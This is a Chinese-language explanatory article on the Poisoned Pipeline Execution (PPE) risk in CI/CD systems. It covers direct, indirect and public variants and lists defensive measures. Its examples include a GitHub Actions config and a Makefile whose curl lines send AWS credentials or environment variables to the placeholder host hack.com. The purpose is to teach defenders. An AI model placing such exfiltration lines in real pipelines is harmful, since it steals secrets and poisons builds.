十大 CICD 安全风险(三)
字数 1525 2025-08-11 22:57:18
CICD安全风险之PPE(Poisoned Pipeline Execution)分析与防范指南
1. PPE风险概述
PPE(Poisoned Pipeline Execution)是指攻击者能够访问源代码控制系统但无法直接访问构建环境时,通过将恶意代码/命令注入构建流水线配置来操纵构建过程的风险。这种攻击本质上是"中毒"流水线,使恶意代码成为构建过程的一部分。
风险特征
- 攻击面存在于代码仓库中可控的CI管道配置文件
- 通过修改CI配置文件或相关依赖文件实现攻击
- 特别影响未经审查代码直接执行的流水线(如由拉取请求或分支提交触发的流水线)
2. PPE攻击的三种类型
2.1 直接PPE(D-PPE)
攻击场景:
- 攻击者直接修改有权访问的存储库中的CI配置文件
- 通过推送更改到未受保护的远程分支或提交PR时随分叉更改实现
攻击流程:
- 攻击者修改CI配置文件插入恶意命令
- 通过"push"或"PR"事件触发流水线执行
- 构建节点执行被修改的CI配置文件中的恶意命令
2.2 间接PPE(I-PPE)
适用场景(当D-PPE不可行时):
- 流水线配置从受保护分支获取CI配置文件
- CI配置文件存储在与源代码不同的仓库
- CI构建在CI系统中定义而非源代码文件中
攻击方式:
攻击者向流水线配置文件引用的文件中注入恶意代码,包括:
- Makefile中定义的命令
- 流水线引用的脚本文件(如Python脚本)
- 代码测试框架依赖的文件
- Linter和安全扫描器的配置文件
2.3 公共PPE(3PE)
特殊场景:
- 针对公共/开源存储库
- 允许匿名用户通过PR贡献代码
- 流水线运行未经审查的代码
额外风险:
- 如果公共和私有项目使用相同CI实例,可能泄露私有项目敏感信息
3. PPE攻击实例分析
3.1 D-PPE攻击示例(GitHub Actions窃取凭据)
原始配置:
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: |
echo "building..."
echo "testing..."
echo "deploying..."
攻击步骤:
- 攻击者创建分支并修改配置文件:
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- env:
ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
- 推送更新触发流水线
- 流水线执行恶意命令,发送AWS凭证到攻击者服务器
3.2 I-PPE攻击示例(Jenkins窃取凭据)
原始配置:
- Jenkinsfile(受保护):
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
// 其他阶段...
}
}
- Makefile:
build:
echo "building…"
clean:
echo "cleaning…"
攻击步骤:
- 攻击者通过PR修改Makefile:
build:
curl -d "
$$
(env)" hack.com
clean:
echo "cleaning…"
- PR触发Jenkins流水线
- 构建阶段加载AWS凭证后执行恶意make命令
- 环境变量(含凭证)被发送到攻击者服务器
4. PPE攻击的影响范围
成功PPE攻击可使攻击者获得与构建任务相同的能力和访问权限:
-
凭证访问:
- 环境变量中的机密
- CI系统中存储的敏感信息
- 云提供商、制品注册表和SCM的凭证
-
系统访问:
- 任务节点文件系统
- 底层主机可访问的云环境
- 作业节点网络中的其他主机和资产
-
供应链污染:
- 以合法构建过程为掩护传播恶意代码
- 污染后续流水线阶段和部署的工件
5. PPE风险防范建议
5.1 环境隔离
- 为运行未经审查代码的流水线配置隔离节点
- 确保隔离节点不暴露于机密和敏感环境
5.2 公共仓库防护
- 评估外部贡献者触发流水线的必要性
- 避免运行源自分叉的流水线
- 考虑添加手动批准流程
5.3 分支保护
- 为触发CI的每个分支配置分支保护规则
- 特别保护包含敏感信息的流水线
5.4 配置管理
- 在流水线运行前审查每个CI配置文件
- 将CI配置文件管理与代码分支分离
- 使用远程受保护分支管理CI配置
- 与构建代码的分支分开
5.5 权限控制
- 实施最小权限原则,移除不必要的SCM仓库权限
- 每个流水线仅分配实现目的所需的最低权限凭证
5.6 凭证管理
- 使用细粒度访问控制
- 定期轮换凭证
- 监控异常凭证使用
通过实施这些措施,组织可以显著降低PPE攻击风险,保护CI/CD流水线免受恶意操纵。